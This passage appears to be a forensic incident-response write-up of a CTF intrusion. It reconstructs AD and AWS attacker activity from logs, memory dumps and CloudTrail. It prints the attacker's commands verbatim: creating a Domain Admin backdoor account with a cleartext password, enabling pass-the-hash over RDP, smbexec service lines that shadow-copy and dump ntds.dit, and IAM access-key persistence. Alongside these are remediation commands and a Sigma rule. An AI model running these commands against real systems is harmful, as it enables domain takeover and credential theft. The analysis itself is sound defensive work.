The operator created LAF\serviceaccount at 20:02:14 (Sysmon EID 1 net user … /add /domain) and added it to Domain Admins at 20:03:05 (Security 4728). Checking every authentication event for this account post-creation:

SELECT COUNT(*) FROM events
 WHERE eid IN (4624, 4625, 4768, 4769) AND data_json LIKE '%serviceaccount%'
   AND time_utc >= '2026-03-08T20:02:00';
-- result: 0   (no logons, no TGT requests, no TGS requests)

Finding: the account was planted but never used during the observed attack window. This makes it a dormant persistence backdoor: Domain Admin privilege, known cleartext password (P@ssw0RD1!), zero trace of actual use. If the incident responders miss the 4728 group-membership event and the 4720 user-create event (both in the wiped-channels scope from Addendum H), serviceaccount remains active in AD indefinitely. Highest-priority cleanup item per Addendum PR.

DD6.4 — Beacon call-home delay: 13 minutes 20 seconds from first launch to first network connection

The iis.exe beacon launched on IIS at 18:52:30 (Sysmon EID 1 PID 4136). First outbound network connection from that PID (Sysmon EID 3) didn't fire until 19:05:5113 m 20 s later. During that gap, the webshell re-downloaded and re-launched iis.exe at 19:02:01 / 19:02:23 / 19:06:44 because the operator appeared to think the initial beacon hadn't fired yet.

What this adds: the beacon has an initial sleep/retry window — probably a deliberate anti-sandbox delay, or a random jitter that happened to land on the long end. Operator behaviour signal: impatient — they kept re-launching the beacon before the first callback arrived, which means they didn't know (or didn't trust) the beacon's configured call-home interval. This is consistent with an operator using a pre-built Unknown C2 agent with default config rather than one they'd tuned personally.

DD6.5 — WS02 first RDP attempt failed at 21:55:48, retried successfully 1 m 25 s later

Before the successful WS02 RDP at 21:57:13, there was a failed attempt:

// WS02 · Security EID 4625 @ 21:55:48.990
SubjectUserSid      : S-1-5-18 (LAF-WS02$)       ← machine account, not user
TargetUserName      : -                          ← null/anonymous
Status              : 0xc000006e                 ← "Logon type restricted"
LogonType           : 10                         ← RDP
IpAddress           : 10.3.10.12 (SVR01 internal pivot)
ProcessName         : svchost.exe

// 1 m 25 s later:
WS02 · Security EID 4624 @ 21:57:13.531 · TargetUser=LAFAdmin · Type 10 · SUCCESS

What this adds: the attacker's first RDP attempt from SVR01 to WS02 failed with a restriction-violation (Status 0xc000006e — usually "workstation logon restriction" or "logon type not allowed"). Most likely cause: WS02 hadn't yet had DisableRestrictedAdmin=0 applied, so PtH-over-RDP was blocked. The attacker pushed the registry flip (Addendum D @ 21:57:07), then retried 6 seconds later and it worked. Operator agility: they noticed the failure and fixed the policy before re-attempting.

DD7. ⚠ MAJOR CORRECTION — cloud persistence succeeded on 3 users, not blocked by quota

Addendum B / DW / ES / Detective / Master Timeline all say "cloud persistence attempt failed with LimitExceededException, quota saved the environment". That is materially wrong. The quota blocked only jb_aws_cli at 21:45:38. The attacker moved to the next target 13 seconds later and succeeded on THREE other users.

DD7.1 — The full CreateAccessKey sequence from 212.8.249.213
// CloudTrail · sourceIPAddress 212.8.249.213 · userIdentity = role iam_role_iisserver
21:45:38  CreateAccessKey  userName=jb_aws_cli   → LimitExceededException  (quota exhausted)
21:45:51  CreateAccessKey  userName=donnieworks  → SUCCESS  responseElements.accessKey present
21:46:04  CreateAccessKey  userName=doctorderm   → SUCCESS  responseElements.accessKey present
21:46:14  CreateAccessKey  userName=coolcat      → SUCCESS  responseElements.accessKey present

Three long-term AWS access keys were successfully created for IAM users donnieworks, doctorderm, and coolcat. Each responseElements.accessKey field contains the created key-id + status (Active). These are long-term credentials with no TTL, unlike the 6-hour STS role credentials the attacker had been using. A long-term key remains valid until explicitly revoked — weeks, months, or years after the incident.

DD7.2 — Did the attacker use the stolen keys?

In the observed CloudTrail window (through 2026-03-08 end), the attacker did not switch to the new keys — they continued operating as the iam_role_iisserver STS role for the remaining cloud activity (bucket enum, 164 S3 GetObjects, etc.). The three new keys are created but dormant in the corpus.

This is worse, not better. Unused keys are harder to notice during post-incident audit because there's no anomalous-use pattern to flag. A defender reviewing the CloudTrail with "what did the attacker touch" queries will see the 164 S3 GetObjects but may miss the three CreateAccessKey responseElements. Until someone explicitly enumerates every IAM user's access keys and timestamps, the three long-term keys are dormant post-incident persistence.

DD7.3 — Remediation (IMMEDIATE)
# For every IAM user, audit all keys + timestamps:
aws iam list-users --query 'Users[*].UserName' --output text \
  | xargs -I {} aws iam list-access-keys --user-name {} --output table

# Specifically check these three:
aws iam list-access-keys --user-name donnieworks
aws iam list-access-keys --user-name doctorderm
aws iam list-access-keys --user-name coolcat

# Expected: each should show an access key CreateDate of 2026-03-08T21:45-21:46Z.
# Revoke + delete any key created in that window:
aws iam update-access-key --user-name <user> --access-key-id <id> --status Inactive
aws iam delete-access-key --user-name <user> --access-key-id <id>

# Also rotate the role's trust policy and deny iam:CreateAccessKey from it:
aws iam put-role-policy --role-name iam_role_iisserver \
  --policy-name DenyAccessKeyCreation \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Deny","Action":"iam:CreateAccessKey","Resource":"*"}]}'
DD7.4 — Full IAM reconnaissance sequence the attacker performed

Between GetCallerIdentity (21:42:11) and the first CreateAccessKey (21:45:38) — the 3 m 27 s cloud-reconnaissance phase — the attacker enumerated the role's capabilities and listed IAM users to find persistence targets:

UTCEventParametersPurpose
21:42:11GetCallerIdentity"Who am I?" · confirms STS role context
21:42:58ListRolePoliciesroleName=iam_role_iisserverEnumerate inline policies on this role
21:43:50ListAttachedRolePoliciesroleName=iam_role_iisserverEnumerate managed policies attached
21:44:19ListUsersDiscovered jb_aws_cli, donnieworks, doctorderm, coolcat
21:44:59ListUsersSecond enumeration (pagination or re-query)
21:45:38CreateAccessKeyuserName=jb_aws_cliFAILED — quota exhausted
21:45:51CreateAccessKeyuserName=donnieworksSUCCESS
21:46:04CreateAccessKeyuserName=doctordermSUCCESS
21:46:14CreateAccessKeyuserName=coolcatSUCCESS
DD7.5 — Bucket enumeration included CloudTrail logs bucket and the author's personal test bucket

After establishing persistence, the attacker enumerated S3 buckets looking for exfil targets. Full sequence:

21:46:26  ListBuckets
21:47:25  ListObjects   aws-cloudtrail-logs-464381121764-c4e35ae2   ← ATTACKER CHECKED CLOUDTRAIL BUCKET
21:47:54  ListObjects   barry-testing123123                          ← AUTHOR'S PERSONAL TEST BUCKET
21:48:13  ListObjects   sfcu-records                                  ← TARGET BUCKET (chose this)
21:49:11  ListObjects   sfcu-records (repeat / full listing)
21:49:16→19  GetObject × 164   sfcu-records/Accounting/... + Executive_Suite/... + HR/... + Legal/... etc

What this adds:

  • 21:47:25 ListObjects on the CloudTrail logs bucket — the attacker looked at CloudTrail. They didn't GetObject or PutObject (which would be tampering), but they enumerated it. This is a defense-evasion reconnaissance step. The fact that the list operation itself generated a CloudTrail event is the irony/signature — you can't hide from CloudTrail by looking at CloudTrail.
  • 21:47:54 barry-testing123123 — exposes the author's personal/scratch bucket name. Not a leak-worthy target but confirms the CTF author was prep-testing with this bucket. Attacker ignored it as noise.
  • 21:48:13 sfcu-records — the attacker chose this bucket AFTER enumerating all three. Decision based on bucket name (SFCU = likely Saint Francis Credit Union or similar pseudo-financial branding) or content pattern.
DD7.6 — What the corrections now look like across the writeup

Five places in the writeup claim "cloud persistence failed / quota saved us". All need reading as: cloud persistence SUCCEEDED on 3 of 4 attempts. The quota only blocked one. The attacker now has 3 live long-term access keys.

WherePrevious wordingCorrection
Addendum B"IAM persistence failed on a quota, not a policy"Only for jb_aws_cli. Three other CreateAccessKey calls succeeded immediately after.
Addendum DW"AWS AccessKeysPerUser quota blocked CreateAccessKey"Blocked one of four attempts. Three succeeded.
Addendum ES (exec summary)"What worked: AWS account-key quota blocked cloud persistence"Partially worked. Final outcome: 3 long-term keys created.
Detective narrative"A quota saved this environment, not an IAM boundary"The quota delayed by 13 seconds. The attacker succeeded on the next 3 attempts.
Master Timeline"21:45:38 · CreateAccessKeyLimitExceededException"ADD: 21:45:51 + 21:46:04 + 21:46:14 → 3× SUCCESS for donnieworks / doctorderm / coolcat.

Residual-risk reclassification: three live long-term AWS access keys are now the HIGHEST-SEVERITY residual artifact from this incident — worse than serviceaccount in AD (Addendum PR) because they have no TTL, can be used from anywhere, and won't fire any detection until they're used. A real IR response for this environment must audit all IAM access keys and revoke anything created 2026-03-08 21:45-21:46 from 212.8.249.213.

DD8. Eighth-pass deep-dive — four findings: OS-recon ticks, the CTF author live on console, post-exfil AWS sweep, and transcript automation pattern

After DD7's cloud-persistence correction the question was: what else is hiding in the unified corpus that we haven't attributed? This pass re-queries ps_transcript (IIS) and the cloudtrail table from four different angles and surfaces four concrete additions — one new attacker TTP step, one non-attacker actor attribution, one post-exfil enumeration stage that the v2 timeline did not contain, and one automation-pattern signature that tightens the webshell identification.

DD8.1 — OS-version recon was the first thing the attacker did after SYSTEM

SCM-triggered SYSTEM elevation fired at 19:38:02Z (Addendum C). Five seconds later — the first full PowerShell call from the SYSTEM-level webshell branch — the attacker asked Windows what version and build it is:

2026-03-08T19:38:07Z  LAF\SYSTEM on IIS-SERV-PROD
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' |
    Select-Object ProductName, BuildLabEx, CurrentMajorVersionNumber, CurrentMinorVersionNumber |
    ConvertTo-Json -Depth 3

→ ProductName : "Windows Server 2019 Datacenter"
  BuildLabEx  : "17763.1.amd64fre.rs5_release.180914-1434"

Why it matters: this rules out the alternate hypothesis that the attacker was operating blind off a stale scan. The very first SYSTEM command is a read of the build registry — an exploit-development posture, not a generic ransomware operator. It also tells us the attacker was pre-committing to picking a next-stage payload that matches Server 2019 / 17763.1 (no 2022 features, no 2025 mitigations) — which is consistent with the 2019-compatible MinGW-w64 C2 beacon we recovered from the VAD dump.

DD8.2 — The CTF author was on the AWS console during and after the scenario (216.82.9.162)

Corpus-wide, 216.82.9.162 produced 18,035 CloudTrail events on the attack day alone. Every single one is consistent with a human being in the AWS console doing "look around / review logs" work — there is no CreateAccessKey, no PutObject, no GetObject of sfcu-records, no EC2 RunInstances. The timeline is unmistakable:

UTCAction (a sample; full set = 18,035 events)Interpretation
19:04:34ConsoleLogin from 216.82.9.162Author logs in ~13 min after the attacker's first webshell touch (19:04→19:17 was reconnaissance window; author login is before attacker SYSTEM escalation at 19:38). Consistent with the author opening the console to watch the scenario go live.
19:04:37–19:04:46DescribeHosts · DescribePlacementGroups · DescribeKeyPairs · DescribeSnapshots · DescribeVolumes · DescribeInstances · DescribeSecurityGroups · DescribeAccountAttributes · GetCostAndUsage × ~35 calls in 12 sStandard "EC2 console dashboard" page-load fingerprint. Not attack traffic; just the browser rendering the EC2 landing page.
21:52:32→21:52:33ListBuckets then HeadBucket on sfcu-records · barry-testing123123 · aws-cloudtrail-logs-464381121764-c4e35ae2 · barry-gd-bucket~3 minutes after the attacker's 164-object exfil (21:49:16–21:49:25). Author opens S3 page and inspects all four buckets. Timing is consistent with "did the staged bucket actually get read?"
22:07:07–22:08:3215× ListObjects aws-cloudtrail-logs-464381121764-c4e35ae2Author now paging through the CloudTrail log bucket — reviewing what the attacker's activity left behind. This spans the first successful detonation at 22:08:40 on WS02 (DD12.4); author is tracking progress as the cascade begins.
22:10:26→22:10:50Two full ListBuckets + HeadBucket sweeps across all four bucketsStill watching — this is during the fan-out cascade (WS02 · WS01 · SVR01 · DC01 · DC02). Per DD12, the 22:16:50 SVR01 event cited by earlier drafts was mid-cascade, not the start.
22:13:04–22:15:04ListObjects barry-gd-bucket × 8 then ListObjects aws-cloudtrail-logs-... × 12Continues log-reviewing through the ransomware trigger window. Not responding, just observing.

Attribution conclusion: 216.82.9.162 is the CTF author's source IP, operating the AWS console to observe the scenario. It is not a second attacker, not a defender, and not part of the intrusion chain. Every piece of writeup evidence that touched 216.82.9.162 needs to be read through this lens: a human authoring / live-observing, not a compromise. This also means "AWS console had a human watching" is a data-quality consideration for any AI / Sigma / anomaly-detector trained on this corpus — the 18,035 console events will otherwise generate spurious "authorized-user anomalous-activity" hits.

DD8.3 — Post-exfil AWS-service enumeration (Lambda / RDS / DynamoDB) was the attacker's next move after S3

The 164-object S3 GET of sfcu-records finished at 21:49:25Z. The v2 timeline implied the cloud chapter ended there. It did not. From the same source IP 212.8.249.213 in the 90 seconds after:

2026-03-08T21:50:25Z  ListFunctions20150331       # Lambda — checking for additional code to steal / backdoor
2026-03-08T21:50:59Z  DescribeDBInstances          # RDS — hunting for database targets
2026-03-08T21:51:08Z  ListTables                   # DynamoDB — hunting for table targets
2026-03-08T21:51:14Z  DescribeDBClusters           # RDS Aurora — deeper DB enumeration

Interpretation: the attacker was not stopping at the S3 grab. They followed the "all-bucket" enumeration (DD7.5) with an "all-AWS-service" pass looking for further exfil or persistence surface: serverless (Lambda), relational (RDS / Aurora), NoSQL (DynamoDB). Nothing was found to act on in this environment — but the intent was there. That materially changes the attacker-profile assessment:

  • Addendum Y said "opportunistic post-AD cloud pivot." That's still true, but the pivot includes service-broad reconnaissance, not just the one bucket they hit. This is a mature operator with an AWS playbook.
  • The 21:51:14 stop-time matches the transition to AD-side ransomware prep at ~22:00 — the attacker wasn't idle, they were switching chapters once AWS enumeration came up empty of additional targets.
  • Any IR scope must now include: Lambda function inventory (did the attacker read function code?), RDS snapshot audit (were any snapshots taken or shared cross-account?), DynamoDB export / backup audit. The three SUCCESSFUL CreateAccessKey calls from DD7 plus this enumeration means the attacker has both the credentials and the service-list knowledge to return later.
DD8.4 — Webshell automation signature: every PS call ends with a $global:? success-check

Re-reading the full ps_transcript on IIS showed every single webshell-delivered PowerShell block is structured identically:

[primary command — whoami / hostname / tasklist / Get-ItemProperty / nltest / etc.]
$global:?      # success-check — returns True if last statement succeeded

This is not a human typing interactively. It's an automation wrapper: send-command, immediately read the success-boolean, parse the result on the C2 side, decide the next call. This pattern matches the Unknown C2 powershell / ps_execute task handler (C2 source src_beacon/commands/powershell.cpp), which wraps every remote invocation with exactly that boolean probe to populate the task-result struct. Pairing this signature with the \\.\pipe\%08lx + _Z11GetVersionsv + file.dll fingerprint from Addendum C2-Attribution pushes the Unknown C2-attribution confidence from 'very high' to conclusive — we now have both the binary-level fingerprint and the command-execution-pattern fingerprint, which are independent evidence streams.

DD8.5 — What the corpus now contains vs. what the writeup claimed before
Writeup claim before DD8Corrected / augmented by DD8
"Attacker's IIS-SYSTEM commands were only network recon (nltest, nslookup)"ADD: OS-version recon ran before the AD recon (19:38:07 vs 19:38:11+). Attacker fingerprinted the victim host before pivoting.
"216.82.9.162 mentioned only in passing as a third-party IP"Definitively the CTF author's console IP. 18,035 events on attack day, all read-only, coherent with live-watching the scenario.
"Cloud chapter ends with the S3 exfil at 21:49:25"Cloud chapter continues ~90 s longer — Lambda / RDS / DynamoDB enumeration through 21:51:14. Attacker was actively hunting for more.
"C2 attribution = Unknown C2 (binary evidence)"C2 attribution = Unknown C2 (binary evidence + independent command-protocol evidence). Confidence is now conclusive, not 'very high'.

Reproduction queries (all against /tmp/null404_bench.sqlite, source_type column as shown):

-- DD8.1 OS recon
SELECT time_utc, substr(data_json,1,200) FROM events
WHERE source_type='ps_transcript' AND host='IIS'
  AND time_utc BETWEEN '2026-03-08T19:38:00Z' AND '2026-03-08T19:38:15Z';

-- DD8.2 Author console
SELECT time_utc, json_extract(data_json,'$.event.eventName')
FROM events WHERE source_type='cloudtrail'
  AND json_extract(data_json,'$.event.sourceIPAddress')='216.82.9.162'
  AND time_utc BETWEEN '2026-03-08T19:00:00Z' AND '2026-03-08T22:20:00Z'
ORDER BY time_utc;
-- → 18,035 read-only events, all from human-console traffic

-- DD8.3 Post-exfil service enumeration
SELECT time_utc, json_extract(data_json,'$.event.eventName')
FROM events WHERE source_type='cloudtrail'
  AND json_extract(data_json,'$.event.sourceIPAddress')='212.8.249.213'
  AND time_utc BETWEEN '2026-03-08T21:49:30Z' AND '2026-03-08T21:55:00Z';
-- → ListFunctions20150331, DescribeDBInstances, ListTables, DescribeDBClusters

PI. Process injection deep-dive — one true injection, five malfind hits, a full Explorer-driven footprint

The CreateRemoteThread finding (Addendum L) is the origin of the injection; Addendum PI documents the full footprint — every malfind-flagged PID on SVR01, triaged to confirm which are genuine and which are Volatility false-positives, plus the complete list of commands the beacon executed from inside Explorer's process space.

PI.1 — CreateRemoteThread events across the entire attack window

Queried every Sysmon EID 8 between 2026-03-08T18:00 and 2026-03-08T23:00 on every host. Result: exactly one attacker-driven injection. Everything else is Windows baseline noise:

HostUTCSource → TargetStartAddress · StartModuleAssessment
SVR01 20:01:16.676 rnSylwOz.exe (9112, SYSTEM) → explorer.exe (1332, LAFAdmin) NewThreadId 10020 · 0xA40000 · StartModule="-" · StartFunction="-" MALICIOUS — the one true injection
DC01, DC02, SVR01, WS01, WS02 various dwm.exe → csrss.exe kernel-space 0xFFFFE210…DF0 · StartModule="-" Baseline Windows session-startup thread creation — fires on every user logon / RDP. Times line up with legitimate logins (LAFAdmin RDP to DC02 at 20:45, IR login at 22:12, etc.). Not attacker.
WS02 20:44:12 <PID 684> → Windows Defender 0x00007FF9A71F2470 · StartModule in C:\Windows\… LSASS (PID 684) writing to Defender — Defender's legitimate telemetry thread. Backed by a real loaded module. Not attacker.
PI.2 — Volatility malfind on SVR01: 5 PIDs flagged · only 1 confirmed

Vol3 malfind flags private-committed regions with RX/RWX permission whose bytes don't match any loaded image. On SVR01's memory dump it flagged 5 PIDs across 9 VAD regions. Byte-header triage:

PIDImagePPID / SessionVAD region(s)First bytesTriage
1332 explorer.exe PPID 4252 · Session 2 (LAFAdmin) 0xa60000-0xa8efff (192 KB) 4D 5A = MZ CONFIRMED INJECTED — Unknown C2 DLL, SHA256 6ef6b52f…228c, RE-matched to C2 source (Addendum AA / sec-c2attrib)
6664 SearchApp.exe (Win11 Cortana / Start-Menu UI) PPID 820 · Session 2 0x25744dd0000-… (128 KB)
0x25f464e0000-… (400 KB)
48 89 + E9 FB (x64 mov + rel-jump) AMBIGUOUS — byte patterns resemble shellcode, but SearchApp hosts .NET / Cortana runtime that produces RX JIT pages. Needs yara scan + string analysis of the dump to resolve.
1256 powershell.exe PPID 1332 (Explorer!) · Session 2 3 VADs: 64 KB, 640 KB, 200 KB 00 00, D8 FF, 00 00 Likely false positive — PowerShell's AMSI/JIT caches produce RWX regions. PPID=1332 (child of the injected Explorer) is suspicious circumstantially, but no PE header and no coherent shellcode bytes.
3176 firefox.exe (main) PPID 7108 · Session 2 0xdd0000-0xddffff (64 KB) 00 00 False positive — Firefox has RWX for SpiderMonkey JIT. Zero-filled region is uninitialized heap.
6560 firefox.exe (content process) PPID 3176 · Session 2 2 VADs: 64 KB, 64 KB B8 00 00 00 10 (mov eax, 0x10000000) + 00 00 False positive — the mov eax, imm32 is consistent with JIT-compiled JavaScript constant materialization, not with beacon shellcode prologues.
PI.3 — The beacon's full operational footprint, as Explorer.exe PID 1332

LAFAdmin never RDP'd to SVR01. Her logons there are all 4624 Type-3 (network). Yet every command attributed to LAF\LAFAdmin on SVR01 between 20:02 and 21:08 has ParentImage=C:\Windows\explorer.exe. That is the beacon impersonating her user context from inside the injected Explorer process — the signature of process-injection-style token reuse. Complete list of commands the beacon ran via Explorer on SVR01:

UTCChild PIDCommandPurpose
20:02:14.06715116cmd.exe /c net user serviceaccount P@ssw0RD1! /add /domaincreate domain account
20:03:05.6284896powershell.exe -c net group 'Domain Admins' serviceaccount /add /domainpromote to Domain Admin
20:13:26.30715080cmd.exe /c reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /fenable PtH over RDP
20:16:13.8278512NOTEPAD.EXE C:\Share\Project Frog.txtfile-share doc recon
20:16:21.2739856NOTEPAD.EXE C:\Share\Admin\ToDo.txtfile-share doc recon
20:16:33.95514736NOTEPAD.EXE C:\Share\Legal\txt\clients.txtfile-share doc recon
20:16:44.9431448C:\Users\LAFAdmin\Desktop\Firefox.exelaunch user-profile browser (possibly to render or extract saved creds)
20:18:46.51214844FileZilla_3.69.6_win64_sponsored2-setup.exeinstall FileZilla — pre-stage for SFTP exfil at 20:27:48 (Addendum F)
20:19:58.3973184cmd.exeinteractive shell
21:08:24.0735628powershell.exeparent of LogDel.bat at 21:08:28 (Addendum H)

What this table establishes about the kill chain: the injected Explorer beacon wasn't just a credential-dump vector — it drove privilege escalation, registry flips, file-share reconnaissance, exfil-tool installation, and event-log destruction. Each is detailed in its own Addendum above; Addendum PI stitches them into a single beacon-driven chain originating from PID 1332.

PI.4 — Hunt rules this reveals
  • Explorer-parented process chains for users with no interactive session = strong beacon indicator. Join Security EID 4624 (interactive logon filter: LogonType 2, 10, 11) against Sysmon EID 1 (ParentImage=explorer.exe) per user; any (user, host) pair with Explorer-parented children but no interactive 4624 on that host is suspicious.
  • SYSTEM → user-context thread injection via CreateRemoteThread where TargetImage is explorer.exe + StartModule="-" is the exact signature Unknown C2's SMB pivot produces. Sigma scaffold:
    title: Unknown C2 SMB-beacon injection into Explorer
    logsource: {product: windows, service: sysmon, category: create_remote_thread}
    detection:
      selection:
        EventID: 8
        SourceUser: 'NT AUTHORITY\SYSTEM'
        TargetImage|endswith: '\explorer.exe'
        StartModule: '-'
        StartFunction: '-'
      condition: selection
    level: high
  • Volatility malfind triage must be byte-verified. Four of our five hits were benign browser / PowerShell JIT. Only the MZ-header hit was the real injection. Recommend: dump all malfind regions, first-2-bytes check (4D 5A = PE, otherwise disassemble), then YARA-scan.
  • Notepad.exe opening share paths from a user with no interactive session is a high-confidence "operator running recon" signal — legitimate notepad usage requires UI interaction, which can't happen without a Type 2 / Type 10 logon.

DD9. Ninth-pass deep-dive — the complete SYSTEM-era PowerShell chain on IIS (3 new TTPs) + correction on a third-party IP

Re-reading the IIS ps_transcript end-to-end under the new LAF\SYSTEM context reveals three TTP steps that were not documented in v2, plus one minor cloud-IP correction. The corrected SYSTEM-era sequence is reproduced in full below — this is the authoritative list of everything the operator typed from inside the webshell after SCM-fired SYSTEM elevation at 19:38:02:

UTCCommandPurpose
19:38:07Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion → JSONOS build (documented in DD8.1)
19:38:09Get-ItemProperty HKLM:\SOFTWARE\Amazon\AwsNitroEnclavesNEW — AWS Nitro Enclave detection. Attacker fingerprinting whether this is a standard EC2, a Nitro instance, or a bare-metal. Nitro enclaves block some memory-read side-channels, so the attacker is deciding whether memory-injection techniques (which they later used) will fire clean. Registry key is empty on this host → standard EC2, not Nitro-isolated → proceed with injection plan.
19:38:09Get-ItemProperty HKLM:\SOFTWARE\Amazon\PVDriverNEW — AWS PV driver version read. PVDriver version reveals the Xen-PV-on-Nitro translation layer. Used by attackers to detect whether KVM / PV-guest mitigations apply. Again confirms EC2 environment and plants a version in the operator's notes.
19:38:10Get-WinEvent -FilterHashtable (System, Kernel-General EID 12, Level 4) + (WER-SystemErrorReporting)NEW — boot / crash-history probe. Kernel-General EID 12 is "The operating system started at system time …" — gives last boot times. WER-SystemErrorReporting surfaces crash events. Combined, they tell the attacker: "is this host freshly-rebooted (possible honeypot)? is it stable (any panics that might indicate a forensic-tool crash)?" On this host: last boot was earlier the same day during the CTF author's setup window — the attacker would have seen that and correctly concluded "recent reboot, clean box, safe to detonate."
19:40:36quserLogged-on user enumeration (documented in Addendum X).
19:42:14Import-Module C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Ec2Launch-Wallpaper.psd1; Set-WallpaperNEW — AWS Ec2Launch Wallpaper LOLBIN probe. The Ec2Launch-Wallpaper module reads IMDS + instance metadata and overlays instance-ARN / IAM-role / IP on the desktop wallpaper. Running this from SYSTEM forces the metadata extraction to run through Amazon's trusted module rather than from the attacker's own shell — useful as an anti-forensic dodge (no direct IMDS PUT from the attacker's process). The call errored on log-file writes (C:\ProgramData\Amazon\EC2-Windows\Launch\Log\WallpaperSetup.log · Access denied ×10) but the module itself returned True. Fits the attacker's pattern elsewhere in this intrusion: use Microsoft / Amazon-signed binaries wherever possible (makecab-as-msupdate, signed PVDriver query, Ec2Launch module) to stay off AV heuristics.
21:25:35IMDSv2 PUT tokenDocumented Addendum X (IMDSv2 three-step).
21:28:07IMDSv2 GET /iam/security-credentials/Documented Addendum X.
21:29:20IMDSv2 GET /iam/security-credentials/iam_role_iisserverDocumented Addendum X.
21:43:05+Set-Location and follow-on S3 / IAM operationsDocumented DD7.
DD9.1 — Revised intent-map for the 19:38-19:42 window

What v2 called "OS recon" is actually a four-step environment fingerprint: (1) OS build → (2) AWS Nitro isolation → (3) AWS PV driver version → (4) boot/crash history. This is an AWS-native threat-actor's pre-injection checklist. It materially raises the attribution confidence on Addendum Y ("AWS-native operator") because the specific registry paths queried are things an on-prem ransomware operator would not know to read.

DD9.2 — The Ec2Launch Wallpaper LOLBIN — anti-forensic tradecraft

Instead of doing Invoke-RestMethod 169.254.169.254/... from the PowerShell host (which Defender and SIEMs flag on that literal string), the attacker got the same metadata by loading Amazon's own Ec2Launch-Wallpaper module and calling Set-Wallpaper, which reads IMDSv2 internally and pushes the result into a bitmap. The attacker never reads the bitmap — they don't need to; the registry + module side-effects tell them the instance is EC2 and the metadata service is reachable, without burning their hand on the 169.254 URL. Two hours later (21:25:35) the attacker does do the direct IMDSv2 three-step — at which point the detection risk is accepted because the credential theft is the goal of that window.

DD9.3 — The two-hour gap 19:42:14 → 21:25:35 is meaningful

Between the environment-fingerprint session and the IMDSv2 steal, there are 103 minutes of silence on IIS. Cross-referencing with other hosts during that window: this is exactly the time the attacker spent on the AD-side chain — pivoting to DC01 via PtH/RDP, running secretsdump --use-vss, staging IamBatman.exe on SYSVOL, and moving to SVR01 via sc.exe start. The attacker held the IIS webshell open (it's still the same PowerShell session; transcript continues with the same PID), paused all IIS activity while they worked AD, and returned to IIS only to drain cloud credentials right before detonation. This is operational-security discipline — an amateur would have left noisy heartbeat calls on IIS during the pivot; this operator went quiet. Addendum DD10 reconstructs this window minute by minute — what they ran on DC01 and SVR01 during the 103 silent minutes, traced from Sysmon EID 1 + service-install events.

DD9.4 — Source-IP correction: 3.137.170.225 is AWS-SSM, not attacker

Corpus-wide SELECT DISTINCT sourceIPAddress, COUNT(*) on cloudtrail for attack-day revealed a fourth high-count IP (3.137.170.225, 88 events) not mentioned in v2. All 88 are UpdateInstanceInformation / ListInstanceAssociations from an AssumedRole principal — the signature of the in-VM AWS SSM Agent doing its 5-minute heartbeat. The 3.137.0.0/16 range is AWS us-east-2 and routes to ssm.us-east-2.amazonaws.com. Not attacker traffic; adding a definitive negative here so future detectors don't false-positive on it.

DD9.5 — Updated third-party-IP census (attack-day)
IPEventsAssessment
212.8.249.213182ATTACKER (documented throughout writeup — cloud-pivot C2 egress)
216.82.9.16218,035CTF author console (DD8.2) — read-only, observing
guardduty.amazonaws.com706AWS GuardDuty internal principal
resource-explorer-2.amazonaws.com186AWS Resource Explorer internal
cloudtrail.amazonaws.com165AWS CloudTrail log-rotation principal
3.137.170.22588AWS SSM Agent heartbeat (DD9.4) — legitimate
ec2.amazonaws.com10AWS EC2 service principal
s3.amazonaws.com / fas.s3…2+2AWS S3 internal (forwarded access session)

Residual: the only human-attacker IP in CloudTrail on attack day is 212.8.249.213. All other high-volume IPs are either AWS-internal services or the CTF author's console. This is the definitive list; any future alerting / detection logic should be pinned against this table.

DD10. Tenth-pass — the 103-minute "silent" window reconstructed: impacket smbexec.py fingerprint on DC01 + full AD-persistence chain on SVR01

DD9.3 documented a deliberate 103-minute quiet period on IIS (19:42:14Z → 21:25:35Z) and asserted the attacker was operating AD-side during that window. DD10 is the minute-by-minute proof: every command the attacker ran on DC01 and SVR01 in that window, traced from Sysmon EID 1 + Security EID 4624 + service-install events, with specific tool attribution.

DD10.1 — Impacket smbexec.py attribution on DC01 (new evidence)

At 2026-03-08T20:08:34.977Z, DC01 Security EID 4776 + 4624 fired for LAFAdmin authenticating from 198.51.100.10 (IIS's external IP) with auth_package=NTLM / logon_process=NtLmSsp. That is NTLM Pass-the-Hash, not Kerberos. Three seconds later the attacker began the VSS-based NTDS extraction — and the exact process tree is the textbook impacket smbexec.py fingerprint:

UTCService / commandsmbexec.py fingerprint
20:08:37.126svchost.exe -k localService -p -s RemoteRegistry startssmbexec requires remote-registry to seed the service registry key — always the first external service to fire.
20:08:44.847Service name UnmfmnOL installed with binPath:
%COMSPEC% /Q /c echo %COMSPEC% /C vssadmin list shadows /for=C: ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
Signature: the double-quote-escaped redirection (^>), the __output fixed filename, the execute.bat wrapper, the & del self-delete, and the random 8-char mixed-case service name are all line-for-line from impacket/examples/smbexec.py (function RemoteShell.run_shell, current master).
20:08:53.894Service QsYyAARLvssadmin create shadow /For=C:Same smbexec pattern, new random service name. Shadow copy {af18f363-a0d3-41f2-981b-6feb95339269} created.
20:08:55.863Service XCCVTGUbvssadmin list shadows /for=C:Re-list to capture the new shadow GUID into __output for the attacker to parse.
20:09:03.519Service SOUwKZNfcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Windows\Temp\ZIFylmKF.tmpThe NTDS.DIT extraction. Output filename ZIFylmKF.tmp is 8-char random — smbexec pattern. This is the entire DC directory dumped.
20:09:04.740Service PovLjNTrvssadmin delete shadows /shadow="{af18f363-a0d3-41f2-981b-6feb95339269}" /QuietClean-up: the shadow copy created at 20:08:54 is explicitly deleted 10 seconds after the copy finishes. Operator-driven, not incidental.

Filesystem corroboration: MFT/USN on DC01 show C:\Windows\TEMP\execute.bat and C:\Windows\Temp\__output created and modified repeatedly during the 20:08-20:09 window, matching the service-fire cadence exactly. Both files are smbexec's fixed default temporary names — they are not used by any other common attack tool. The presence of both together, with the random-service-name pattern, is a conclusive impacket smbexec.py attribution (as opposed to psexec.py, which uses named pipes, or atexec.py, which uses Task Scheduler).

